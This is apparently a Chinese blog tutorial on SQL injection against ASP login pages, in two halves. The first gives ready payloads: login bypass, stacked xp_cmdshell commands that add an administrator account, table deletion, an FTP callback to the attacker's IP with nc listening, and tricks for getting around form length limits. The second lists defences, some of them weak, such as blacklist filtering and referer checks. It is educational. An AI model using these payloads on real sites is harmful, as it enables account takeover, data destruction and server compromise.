不要以为没有人会这样写,我见过很多很多,如果你相信我:),看看攻击者能做什么:
(1)我们在用户名位置输入【admin'' or 1=''1】,在密码区输入【11】。注:内容只有【】内的。看看sql会变成什么:
以下内容为程序代码:
sql=select * from user where name=''admin'' or 1=''1'' and pwd=''11''
我们知道,or是一个逻辑运算符,在判断多个条件的时候,只要有一个成立,则等式就返回真,后面的and就不再进行判断了,也就是说我们绕过了密码验证,只要我们知道用户名就可以登陆该系统。
(2)我们也可以在用户名位置输入【admin'' --】,在密码区输入【11】。再看看sql:
以下内容为程序代码:
sql=select * from user where name=''admin'' --'' and pasword=''11''
同样,通过连接符--注释掉了后面的密码验证,对access数据库无效。
(3)如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么:
a、在用户名位置输入【admin'';exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户
b、在用户名位置输入【admin'';exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456
c、在用户名位置输入【admin'';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限
d、在用户名位置输入【admin'';exec master.dbo.xp_cmdshell ''net user Cool 123456 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add'';-- 】,给系统添加一个密码为123456的帐户Cool,并设置相关属性,关于net user命令可以参考这里。
e、在用户名位置输入【admin'';exec master.dbo.xp_cmdshell ''net localgroup administrators Cool /add'';--】,把cool用户添加到管理员组。
现在觉得恐怖了没有,当然我还没说完,实现这些必须是该站点使用sa或者system administrator权限的用户来连接数据库,普通的的虚拟空间是不用想了,除非管理员是SB。但是对于那些站点放在自己服务器上的网站,很难说哦,真的很难说,呵呵,我见过N个。
那如果不是sa,是不是就什么也不能做了,当然不是!只是不能获得太高权限来控制sql库和系统了,但是对这个库,我们还是拥有完整的管理权限。来看看我们能作什么:
a、输入【admin'';delete user;--】,一旦他的表名就是user,就会删除user表里所有记录。够狠吧!你可千万别这么做哦!
b、输入【admin'';insert into user (name,pwd) values (''cool'',''123456'');--】,可以给user表添加一个用户,当然前提是表名和字段名都要正确。
c、输入【admin'';update news set pwd=''123456'' where name=''admin'';--】,可以修改admin的密码,当然前提也是表名和字段名都要正确。
更多的攻击内容,你可以参考sql语法。
看来如果不是sa还是比较郁闷的,当然,我们也有一些简单的方法来判断网站是否使用sa来连接数据库。
a、在cmd中执行nc -l -p 21,监听本机的21端口;当然也可以采用火墙什么的。
b、输入【admin'';exec master.dbo.xp_cmdshell ''ftp *.*.*.*''】,其中*代表你的ip地址,如果发现有连接,就可以断定是使用sa了,而且可以获得网站数据库的ip地址,因为有些网站web和sql是放在不同服务器上的;如果没有连接,则网站使用的是非sa帐户。
可能有的朋友已经看出来了,如果网站使用的是sa,我们可以通过页面从内部发起连接,可以构造ftp脚本,也可以使用tftp来上传文件,即使有火墙也是枉然。
也许有的朋友会说,人家在表单里已经这里了最大长度是20,你跟本就输入不了那么多!没事,难不倒我们。
方法一:
a、打开网站页面http:\\www.***.com\login.asp,查看源文件,把提交表单部分
以下内容为程序代码:
<form action="verify.asp" method="post" name="login">
用户名<input type=text name=name value="" maxlength="20">
密码<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="确认">
<input type=reset name=bt value="重置">
</form>
拷贝出来,存到本机login.htm
b、修改action为http:\\www.***.com\verify.asp,即:
以下内容为程序代码:
<form action="http:\\www.***.com\verify.asp" method="post" name="login">
用户名<input type=text name=name value="" maxlength="20">
密码<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="确认">
<input type=reset name=bt value="重置">
</form>
注意:有的网站这里的action为空,就需要你自己慢慢找找他提交到那里去了,呵呵,我遇到过这种情况,一般来说都是可以找到的。
c、修改maxlength,加大,再加大,要不就删除了!
d、从本地提交变量
方法二:
Cool.reg
9x用户:
以下内容为程序代码:
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\给我加大>
@="c:\\cool.htm"
"contexts"=dword:00000004
2k用户:
以下内容为程序代码:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\给我加大>
@="c:\\cool.htm"
"contexts"=dword:00000004
Cool.htm
以下内容为程序代码:
<script language=vbs>
set srcevent = external.menuarguments.event
set doc=external.menuarguments.document
set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty )
if ele.type ="text" or ele.type="password" then
ele.maxlength=100
ele.size=100
end if
</script>
a、拷贝cool.reg的内容,保存,执行并确认。
b、拷贝cool.htm的内容,保存到指定位置,这里是c:c、打开网页http://www.***.com,在输入框位置点击右键,会看到“给我加大”一项,点击即可
当然,我们可以修改cool.reg来改变cool.htm的路径以及文件名;也可以修改cool.htm来改变size和maxlength。
好了,说了这么多恐怖的东东,来看看怎么防范。
(1)过滤提交数据;我们可以通过
以下内容为程序代码:
……
dim name,pwd
name=request.form("name")
name=replace(name,"''","’") ''替换半角''为全角''
name=replace(exp1,"-","") ''替换-为空
name=replace(exp1,";","") ''替换;为空
……
或者
以下内容为程序代码:
……
dim name,pwd
name=request.form("name")
if InStr(name,"''") or InStr(name,"-") or InStr(name,";") then
response.write("<script language=""JavaScript"">alert(""error!"");history.go(-1);</script>")
response.end
end if
……
具体的过滤条件,或者替换还需要结合实际来使用。
(2)verify.asp文件本身验证的逻辑就是错误的,应该修改为:
以下内容为程序代码:
……
set rs=server.createobject("adodb.recordset")
sql="select * from user where name=''"&name&"''"
rs.open sql,conn_data,1,1
''身份验证过程
if not rs.eof then
if pwd=rs("pwd") then
session("login")="ok"
response.redirect "/default.asp"
else
response.redirect "login.asp"
end if
else
response.redirect "login.asp"
end if
……
也就是说以用户名为条件检索数据库,用检索到的记录的密码与客户端输入的密码进行比较。
(3)对用户密码加密处理,网上有很多相关的加密过程,这里假定为encrypt(),则verify.asp就应该是
以下内容为程序代码:
……
set rs=server.createobject("adodb.recordset")
sql="select * from user where name=''"&name&"''"
rs.open sql,conn_data,1,1
''身份验证过程
if not rs.eof then
if encrypt(pwd)=rs("pwd") then ''这里对输入的密码进行加密处理
session("login")="ok"
response.redirect "/default.asp"
else
response.redirect "login.asp"
end if
else
response.redirect "login.asp"
end if
……
(4)用不同的用户帐户执行查询、插入、更新、删除操作。由于隔离了不同帐户可执行的操作,因而也就防止了原本用于执行SELECT命令的地方却被用于执行INSERT、UPDATE或DELETE命令。如果是大型官方站点,千万不要怕麻烦!
(5)通过数据库设置特定的存储过程,只允许特定的存储过程执行,所有的用户输入必须遵从被调用的存储过程的安全上下文,这样就很难再发生注入式攻击了。
(6)限制表单或查询字符串输入的长度。如果用户的登录名字最多只有20个字符,那么不要认可表单中输入的20个以上的字符,这将大大增加攻击者在SQL命令中插入有害代码的难度。当然,我们可以通过本地提交来绕过这个限制,但是也不是没有办法来控制,来看:
a、在取数据的时候,只取有效长度内的数据。
以下内容为程序代码:
……
dim name,pwd
name=left(request.form("name"),20)
……
b、在服务器确认提交位置
login.asp
以下内容为程序代码:
……
<form action="verify.asp" method="post" name="login">
<input type="hidden" name="referer" value="<%=Request.ServerVariables("HTTP_REFERER")%>">
<input type="hidden" name="ser_name" value="<%=Request.ServerVariables("SERVER_NAME%>">
用户名<input type=text name=name value="" maxlength="20">
密码<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="确认">
<input type=reset name=bt value="重置">
</form>
……
这里传递了2个参数referer,ser_name
verify.asp
以下内容为程序代码:
……
dim referer,ser_name
''取这2个参数
referer=Cstr(Request.ServerVariables("HTTP_REFERER"))
ser_name=Cstr(Request.ServerVariables("SERVER_NAME"))
''判断浏览器位置
if mid(referer,8,len(ser_name))<>ser_name then
response.redirect "login.asp"
end if
……
这样,如果你不是在该网站提交的数据,就不能够顺利登陆。
(7)检查提取数据的查询所返回的记录数量。如果程序只要求返回一个记录,但实际返回的记录却超过一行,那就当作出错处理。
浅谈SQL注入式(SQL injection)攻击与防范
0
相关文章